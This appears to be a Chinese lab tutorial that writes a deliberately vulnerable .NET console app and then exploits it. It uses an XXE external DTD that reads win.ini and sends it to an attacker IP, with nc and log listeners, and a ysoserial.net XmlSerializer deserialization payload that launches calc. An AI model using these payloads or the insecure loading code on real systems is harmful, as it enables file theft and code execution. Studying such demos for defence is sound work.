.net 的xxe漏洞和反序列化漏洞
0x01 编写漏洞demo
下载https://visualstudio.microsoft.com/zh-hans/vs/ ,安装勾选.NET桌面开发。安装好后,新建控制台应用(.NET Framework)。框架选择.NET Framework 4.5.1 (这个版本后的无xxe漏洞)。
编写如下漏洞代码,并编译。此时test.xml可控的化,就会造成xxe漏洞和,反序列化漏洞。
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Serialization;
namespace test
{
class Program
{
static void Main(string[] args)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(@"test.xml");
foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root"))
{
string typeName = xmlItem.GetAttribute("type");
var xser = new XmlSerializer(Type.GetType(typeName));
var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
xser.Deserialize(reader);
}
}
}
}
0x02 XXE漏洞利用
(1)漏洞证明
test.exe所在目录下创建test.xml,内容如下:
<foo>&e1;</foo>
192.168.40.188为攻击者ip,攻击者运行命令
sudo tail -F /var/log/apache2/access.log
然后,双击test.exe,模拟程序读取xml文件。此时,apache访问日志接受到信息,证明存在XXE漏洞。
(2)xxe读取文件
在kali的/var/www/html下创建test.dtd文件,内容如下:
<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.40.188:8000/1oz8k3t1?%p1;'>">
%p2;
然后,在运行一个nc,监听8080端口。
sudo nc -lnvp 8080
再次,运行test.exe,此时,windows上的win.ini被读取出来了。
文件读取成功!
0x03 XmlSerializer的反序列化漏洞
源码存在反序列化漏洞,下载https://github.com/pwntester/ysoserial.net,生成payload.
ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc" -o raw > test.xml
此时,再运行test.exe,则会触发反序列漏洞,弹出计算器!
0x04 总结
作为漏洞演示,此处是创建console应用程序从本地读取xml文件。当不安全的反序列化和读取xml使用在web应用中时,同样会造成漏洞。比较典型的就是DotNetNuke的反序列化漏洞。